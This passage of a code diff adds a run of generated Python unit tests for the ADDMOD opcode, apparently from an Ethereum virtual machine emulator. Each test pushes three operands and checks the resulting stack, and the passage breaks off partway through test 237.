+    def test_ADDMOD_205(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_206(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_207(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_208(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_209(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_210(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_211(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_212(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_213(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_214(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_215(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_216(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_217(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_218(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_219(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_220(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_221(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_222(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_223(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_224(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_225(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_226(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_227(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_228(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_229(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_230(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_231(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_232(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_233(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_234(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_235(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_236(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_237(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
